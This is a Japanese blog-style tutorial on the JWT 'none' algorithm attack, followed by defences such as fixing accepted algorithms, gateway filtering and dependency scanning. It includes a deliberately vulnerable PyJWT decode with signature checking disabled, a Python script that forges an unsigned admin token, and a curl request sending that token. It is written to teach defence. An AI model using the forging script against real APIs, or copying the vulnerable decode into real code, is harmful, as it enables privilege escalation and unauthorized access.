【実務・中級編】 JWTの脆弱性:Noneアルゴリズム攻撃と対策 – Web APIアーキテクチャ・データ連携実践ガイド

こんにちは、インフラアーキテクトの私だ。

近年のモダンなWebアプリケーション開発において、APIアーキテクチャの標準装備となったJWT(JSON Web Token)。ステートレスな認証・認可の仕組みとして、もはや使っていない現場を探す方が難しいほど普及している。

だが、このJWT、便利さの裏側で「仕様の勘違い」や「ライブラリのデフォルト挙動の罠」を突いた脆弱性が後を絶たない。今回はその中でも、Web APIのセキュリティ設計において絶対に避けて通れない「JWTのNoneアルゴリズム攻撃」について、パケットの挙動や実際のコードを交えながら、現場のシニアの視点で徹底的に解説しよう。

教科書的な定義をなぞるだけではない。なぜその脆弱性が生まれ、攻撃者はどうやって偽装パケットを作り、私たちはどうやってそれを防ぐべきなのか。実務で即座に使える知識として持ち帰ってほしい。

—

1. JWTの構造と「アルゴリズム選択の自由」という罠

まずは、敵を知るためにJWTの基本構造を復習しておこう。JWTはピリオド(.)で区切られた3つのパート、すなわち Header、Payload、Signature で構成されている。

xxxxx.yyyyy.zzzzz
(Header).(Payload).(Signature)

現場のトラブルシューティングやデバッグで、Base64URLデコードされた中身を覗いたことがある読者も多いだろう。ここで重要なのは、Headerの中に含まれる alg(Algorithm)パラメーターだ。

{
  "alg": "HS256",
  "typ": "JWT"
}

この alg は、サーバー側に対して「このトークンの署名はどの暗号化アルゴリズム(HMAC-SHA256やRSAなど)で検証すべきか」を伝えるものだ。非常に合理的かつ柔軟な設計に見える。しかし、ここにこそ「JWT最大の設計の罠」が潜んでいる。

RFC 7515(JSON Web Signature: JWS)の仕様において、アルゴリズムとして none(署名なし)が定義されている。これは、通信経路自体が完全に信頼できるクローズドな環境や、デバッグ用途において「署名検証コストを省く」という文脈で仕様上許容されていたものだ。

しかし、これをインターネットに露出するWeb APIの認証用に使ってしまったらどうなるか? 賢明な読者ならもうお気づきだろう。

—

2. Noneアルゴリズム攻撃のメカニズムと通信フロー

Noneアルゴリズム攻撃とは、悪意あるクライアント(あるいは不正にトークンを入手・改ざんしたい攻撃者)が、リクエストに含まれるJWTの alg を none に書き換え、さらに署名(Signature)部分を意図的に空にしてサーバーに送りつける手法だ。

脆弱なサーバー側の実装は、こう動作してしまう。

1. クライアントから送られてきたJWTの Header を読む。
2. alg が none(または大文字小文字を揺らした None など)に設定されている。
3. 「あ、このトークンは署名検証が不要なんだな」と誤認する。
4. Payload(例: {"user_id": 1, "role": "admin"})をそのまま信用し、管理者権限のAPIアクセスを許可してしまう。

攻撃の通信シーケンス

[攻撃者 / クライアント]                 [脆弱なWeb APIサーバー]
        |                                       |
        |---- 1. 改ざんされたJWT送信 ----------->|
        |     (alg: none, 署名なし)             |
        |                                       |
        |                                       |-- 2. ヘッダーのalgをチェック
        |                                       |   「noneだから検証スキップ!」
        |                                       |
        |<--- 3. 管理者権限のレスポンス返却 -----|

攻撃者は、既存の一般ユーザー用トークンの Payload をベースに role を admin に書き換え、Header の alg を none に変更するだけでいい。サーバー側が秘密鍵(Secret Key)や公開鍵を使った検証を厳密に行っていなければ、いとも簡単に権限昇格(Privilege Escalation)が成立してしまうのだ。

—

3. 実証:脆弱な実装とPythonによる攻撃コード

百聞は一見に如かず。実際にPython(PyJWTなどのライブラリ)を用いた脆弱な検証コードと、それに対して攻撃者が仕掛けるスクリプトのイメージを見てみよう。

【危険なサーバー側の検証コード例】

以下のコードは、アルゴリズムのホワイトリスト検証を行わずに、送られてきたトークンの alg をそのまま信頼してしまっている最悪の例だ。

import jwt

# サーバー側が保持しているシークレットキー
SECRET_KEY = "super-secret-key-that-should-never-leak"

def verify_and_decode_jwt_vulnerable(token):
    try:
        # ⚠️ 危険:algorithmsの指定がなく、クライアント側のHeaderのalgを盲信している
        # あるいは algorithms=["HS256", "none"] のように none を許可している
        payload = jwt.decode(token, SECRET_KEY, options={"verify_signature": False})
        return payload
    except jwt.PyJWTError as e:
        return {"error": str(e)}

# 【警告】絶対にいかに示すような雑な実装をプロダクション環境で書いてはならない。

【攻撃者側のパケット改ざんスクリプト例】

攻撃者は、正規のトークンから Payload を抽出し、次のように細工したJWTを生成してAPIに叩き込む。

import base64
import json

def create_none_algorithm_token(payload_dict):
    # 1. ヘッダーを none に書き換え
    header = {"alg": "none", "typ": "JWT"}
    header_json = json.dumps(header).encode('utf-8')
    header_b64 = base64.urlsafe_b64encode(header_json).rstrip(b'=').decode('utf-8')

    # 2. ペイロードを管理者権限等に書き換え
    payload_json = json.dumps(payload_dict).encode('utf-8')
    payload_b64 = base64.urlsafe_b64encode(payload_json).rstrip(b'=').decode('utf-8')

    # 3. 署名部分は空にする(末尾のドットを残すか、空文字にする)
    # JWTの構造は Header.Payload.Signature
    fake_jwt = f"{header_b64}.{payload_b64}."
    
    return fake_jwt

# 攻撃ペイロードの作成(一般ユーザーから管理者へ昇格)
malicious_payload = {
    "user_id": 42,
    "username": "attacker",
    "role": "admin"
}

forged_token = create_none_algorithm_token(malicious_payload)
print(f"Generated Forged JWT: {forged_token}")

この偽装されたトークンを curl でAPIサーバーに送信してみよう。サーバー側が verify_signature=False であったり、none を弾くロジックを持っていなければ、いとも簡単に 200 OK が返されてしまう。

curl -X GET "https://api.example.com/v1/admin/dashboard" \
     -H "Authorization: Bearer <Generated_Forged_JWT>"

—

4. 現場で実践すべき鉄壁の防御策

では、この恐怖のNoneアルゴリズム攻撃からWeb APIを守り抜くためには、インフラ・バックエンドエンジニアとして具体的にどのような対策を講じるべきだろうか。ポイントは大きく3つある。

対策1:使用するアルゴリズムをコード側で「ハードコード(固定)」する

最も確実な防御策は、ライブラリのデフォルトやクライアントからの指示に頼らず、サーバー側が受け入れるアルゴリズムを明示的に指定(ホワイトリスト化)することだ。

import jwt

SECRET_KEY = "super-secret-key-that-should-never-leak"

def verify_and_decode_jwt_secure(token):
    try:
        # 🛡️ 安全:明示的にHS256のみを許可する。
        # これにより、ヘッダーに alg: none が指定されてい落とし穴があっても、
        # PyJWTは InvalidAlgorithm エラーをスローして弾いてくれる。
        payload = jwt.decode(
            token, 
            SECRET_KEY, 
            algorithms=["HS256"] # ← ここが命綱
        )
        return payload
    except jwt.PyJWTError as e:
        # ログに異常検知として記録することを推奨
        print(f"[SECURITY ALERT] Invalid JWT received: {e}")
        return None

対策2:APIゲートウェイやリバースプロキシでのプレフライト検証

アプリケーションコードに到達する前の段階、例えばKong、Envoy、Nginx(Luaスクリプト等)といったAPIゲートウェイの層で、JWTの Header をデコードし、alg フィールドに none や小文字の none、大文字の NONE が含まれているリクエストを即座に 403 Forbidden でブロックするアーキテクチャも非常に有効だ。

アプリサーバーの負荷を減らすだけでなく、アプリケーションの脆弱性を作り込んでしまった場合の「二重の防壁(ディフェンス・イン・ディープ)」として機能する。

対策3:信頼性の高い最新のライブラリと定期的な脆弱性スキャンの実施

古いバージョンのJWTライブラリの中には、特定の条件下でアルゴリズムの検証バイパスを許してしまう既知の脆弱性(CVE)が存在するものがある。依存関係(Dependencies)の定期的なスキャン(npm audit、safety、Dependabot など)をCI/CDパイプラインに組み込み、常に最新のパッチが適用された状態を維持しよう。

—

5. まとめ

今回は、JWTの仕様の隙を突く「Noneアルゴリズム攻撃」の脅威と、その実務的な対策について深く掘り下げて解説した。

  • JWTの alg はクライアント側から送られてくる「申告値」に過ぎない。 サーバー側がそれを鵜呑みにしては絶対にいけない。
  • 認証ライブラリを使用する際は、必ず algorithms=["HS256"] のように受け入れるアルゴリズムを厳格に限定(固定)すること。
  • アプリケーション単体に頼らず、APIゲートウェイやリバースプロキシも含めた多層防御の意識を持つこと。

Web APIのセキュリティは、一歩間違えばシステム全体の乗っ取りに直結するクリティカルな領域だ。「動けばいい」という実装から脱却し、パケットレベル、仕様レベルで何が起きているのかを把握した上で、堅牢なアーキテクチャを構築していってほしい。

現場の健闘を祈る。

コメント

タイトルとURLをコピーしました